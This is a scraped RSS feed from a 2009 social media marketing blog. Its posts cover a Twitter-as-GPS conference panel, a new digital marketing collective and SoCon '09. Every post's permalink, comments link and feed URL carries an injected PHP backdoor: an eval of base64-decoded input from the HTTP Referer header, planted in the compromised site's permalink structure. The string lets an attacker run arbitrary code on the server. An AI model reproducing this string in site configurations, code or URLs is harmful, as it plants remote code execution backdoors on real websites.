Peter Fasano's social media strategy blog http://www.fasano.org social media strategies and observations - technology applied to achieve marketing and advertising goals Wed, 06 May 2009 13:29:01 +0000 http://wordpress.org/?v=2.3 en The Characters « 140 Character Conference http://www.fasano.org/2009/05/06/the-characters-%c2%ab-140-character-conference/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.fasano.org/2009/05/06/the-characters-%c2%ab-140-character-conference/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 06 May 2009 13:28:21 +0000 Peter http://www.fasano.org/archives/46

 140 Characters ConferenceThe Characters « 140 Character Conference.Very excited to join the the cast of characters at the mega Tweetup in June. I have organized a panel that includes: Aaron Strout, David Berkowitz and Brian Morrissey. 

Our hypothesis for the conversation is: Twitter as GPS

We are intrigued by the potential that Twitter offers us as a measure of interest and intent unlike other social media channels. We view Twitter as a means of informing us about forward trending or GPS to measure where we will be going. Twitter as a GPS assists us to establish what ripple will evolve into a swell and become a wave. The subsequent swell is the spread across the broader social mesh communicated in the format of those mediums like video, audio and long form journaling. The wave is the maturing of the swell into broadcast media and community conversation. These are the cycles to watch and engage with. Twitter uniquely provides me the ability to dissect the geographies, frequencies, mechanics and level of influence over time to understand the dynamics of conversations. At present, the GPS exists as a loose collection of tools, seeing this as a dashboard in the future. A dashboard that Media professionals will use to measure, realign and engage with their markets; customers, employees, partners, viewers, subscribers, etc …What are your thoughts?

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon] ]]> http://www.fasano.org/2009/05/06/the-characters-%c2%ab-140-character-conference/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ The shoemaker has new shoes - announcing mass+logic! http://www.fasano.org/2009/03/12/the-shoemaker-has-new-shoes-announcing-masslogic/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.fasano.org/2009/03/12/the-shoemaker-has-new-shoes-announcing-masslogic/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 12 Mar 2009 18:57:55 +0000 Peter http://www.fasano.org/archives/45 mass+logicYes - I have launched the mass+logic site.  Yes, it is the home of mass+logic where I am the lead catalyst.  mass+logic is a digital marketing collective.  We bring strategic thinking to digital marketing programs to align with the social computing platforms.  We are digital generalists with broad capabilities in marketing, mobile, search and technology.  Please join the conversation at any of my hubs! 

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon] ]]> http://www.fasano.org/2009/03/12/the-shoemaker-has-new-shoes-announcing-masslogic/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Thanks for the conversation! http://www.fasano.org/2009/03/04/thanks-for-the-conversation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.fasano.org/2009/03/04/thanks-for-the-conversation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 04 Mar 2009 19:26:37 +0000 Peter http://www.fasano.org/archives/41 I am grateful and pleased to join recent conversation with Social Media Club and Citizen Marketer 2.1 about sage learnings of a digital marketing consultant working in the social media scene. Thanks Chris and Aaron!

 

Conversation 

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon] ]]> http://www.fasano.org/2009/03/04/thanks-for-the-conversation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ What does your cloud look like? http://www.fasano.org/2009/02/25/what-does-your-cloud-look-like/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.fasano.org/2009/02/25/what-does-your-cloud-look-like/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 25 Feb 2009 16:37:35 +0000 Peter http://www.fasano.org/archives/39 A view of my delicious library as generated by Wordle.What story does your cloud tell? How are you  using clouds? pfasano cloud

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon] ]]> http://www.fasano.org/2009/02/25/what-does-your-cloud-look-like/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ See you at SoCon ‘09 http://www.fasano.org/2009/02/06/see-you-at-socon-09/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.fasano.org/2009/02/06/see-you-at-socon-09/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 06 Feb 2009 21:00:44 +0000 Peter http://www.fasano.org/archives/37 Glad to be in ATL this year for SoCon ‘09. It seems that I have been in SF or traveling someplace at this time of year for the past two years. I am so pleased that the community is thriving in the Southeast with more than 300 folks attending the show Saturday.socon09I look forward to catching up with old friends and meeting new ones this weekend. I am a late addition to the pre-event dinner tonight so I guess I had better pre-fuel as I will be leading a roundtable chat about social media and PR. I have been working on social media marketing listening, learning and measuring strategies for brands and would love to hear your approach. Have a seat at my table tonight or share your comments. 

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